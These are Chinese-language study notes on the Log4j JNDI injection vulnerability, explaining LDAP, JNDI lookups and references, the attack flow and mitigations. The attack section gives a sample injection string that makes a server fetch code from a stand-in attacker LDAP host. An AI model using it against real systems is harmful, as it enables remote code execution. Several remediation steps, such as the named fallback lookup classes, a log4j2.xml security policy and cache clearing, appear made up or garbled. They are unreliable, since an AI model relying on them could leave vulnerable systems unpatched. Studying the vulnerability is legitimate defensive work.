log4j jndi注入漏洞

1.log for java: log4j Java程序日志监控组件：学习Java日志框架之——搞懂log4j_logf4j-CSDN博客

2.LDAP：轻量级目录访问协议：【TCP/IP协议】LDAP，轻型目录访问协议（Lightweight Directory Access Protocol）-CSDN博客

• 是一种用于访问、管理和查询分布式目录服务的协议。LDAP（轻量目录访问协议）是一个应用层协议，用于访问和维护分布式目录信息服务。它建立在TCP/IP协议栈上的应用层协议之一。LDAP通常运行在TCP端口389上（以及SSL/TLS加密的安全LDAP版本LDAPS运行在636端口上），用于查询和修改由X.500目录服务协议定义的目录信息。

• 广泛应用于企业、组织以及互联网服务提供商（ISP）等场景，为身份验证、访问控制、目录查询和数据管理等功能提供支持。

                典型用途:统一登录等

                      

3.JNDI：java naming and directory interface (java 命名和目录接口)

• JNDI 提供统一的客户端 API，通过不同的JNDI服务供应接口（SPI）的实现，由管理者将 JNDI API 映射为特定的命名服务和目录系统，使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

• 通俗的说就是若程序定义了 JDNI 中的接口，则就可以通过该接口 API 访问系统的命令服务和目录服务

• JDBC连接数据库的弊端

  • 1、参数变动引发URL修改

  • 2、数据库产品切换，驱动包修改

  • 3、连接池参数的调整

• JNDI命名服务：

  • 用于根据名字找到位置、服务、信息、资源、对象

  • 1、发布服务bind

  • 2、查找服务lookup

  • 
  • 用name替代数据源

  • JNDI动态协议转换

    • 当我们调用lookup()方法时，如果lookup方法的参数像demo中那样是一个uri地址，那么客户端就会去lookup()方法参数指定的uri中加载远程对象

  • JNDI Naming Reference命名引用

    • 当有客户端通过lookup("refObj")获取远程对象时，获取的是一个Reference存根(Stub),由于是 Reference的存根，所以客户端会现在本地的 classpath中去检查是否存在类refClassName，如果不存在则去指定的url动态加载。

4.jndi注入原理：   详细见：https://www.cnblogs.com/LittleHann/p/17768907.html

• 

• 当开发者在定义 JNDI 接口初始化时，lookup() 方法的参数被外部攻击者可控，攻击者就可以将恶意的 url 传入参数，以此劫持被攻击的Java客户端的JNDI请求指向恶意的服务器地址，恶意的资源服务器地址响应了一个恶意Java对象载荷（reference实例 or 序列化实例），对象在被解析实例化，实例化的过程造成了注入攻击。不同的注入方法区别主要就在于利用实例化注入的方式不同。

• Log4j JNDI注入漏洞的原理主要涉及到攻击者利用Log4j日志库中的一个功能，即允许在日志消息中嵌入JNDI引用。这样的话，当应用程序记录包含恶意JNDI引用的日志时，Log4j会尝试解析并执行这些引用。

  • 漏洞原理包括以下几个步骤：

    • 恶意日志消息构造：攻击者构造一个恶意的日志消息，其中包含恶意的JNDI引用，例如${jndi:ldap://attacker.com:12345/Exploit}。

    • Log4j解析日志消息：应用程序使用Log4j记录这条恶意的日志消息。当Log4j解析这条消息时，它会尝试解析JNDI引用。

    • JNDI引用解析：如果Log4j配置允许解析JNDI引用，并且在解析时没有进行适当的过滤或限制，那么Log4j将会尝试执行JNDI引用所指向的位置，比如LDAP服务器。

    • 远程JNDI查询：攻击者在恶意构造的JNDI引用中指定一个恶意的JNDI服务，比如一个恶意的LDAP服务器。当Log4j解析这个JNDI引用时，它会尝试连接到攻击者控制的恶意LDAP服务器。

    • 恶意响应返回：攻击者控制的恶意LDAP服务器返回一个恶意响应，其中可能包含恶意代码，例如Java远程代码执行Payload。

    • 远程代码执行：应用程序收到恶意响应并执行其中的恶意代码，导致远程代码执行漏洞被利用。

5.Log4j漏洞修复

5.1升级到受影响版本的修复版：
（1）对于Apache Log4j 2.x 用户，建议升级到2.17.0版本以上。这些版本修复了漏洞，并包含其他安全增强措施。
（2）对于Apache Log4j 1.x 用户，目前官方并未针对1.x版本提供官方修复版。建议升级到Log4j 2.x版本，或者考虑使用其他日志记录库。

5.2阻止使用JNDI来加载远程资源：
如果您无法立即升级到修复版本，可以通过在Log4j配置中禁用使用JNDI来加载远程资源来减少风险。可以通过在log4j2.xml文件中将JndiLookup类从配置中移除或设置为安全的FallbackJndiLookup或DummyLookup来实现。

5.3启用安全策略：
为了进一步减少潜在的风险，应该考虑启用安全策略来限制代码执行。可以通过在log4j2.xml文件中添加安全策略配置来实现。

5.4清除受影响系统的缓存：
Log4j有一个缓存机制，可以存储已解析的XML配置。为了确保新的配置生效，您可能需要清除缓存。可以通过清除 Log4j 的上下文选择器缓存来实现。

除了以上方法外，了解并关注官方发布的漏洞修复和更新是非常重要的，因为该漏洞的细节和修复程度可能会发生变化。推荐遵循安全最佳实践，并随时关注官方漏洞通告和安全更新。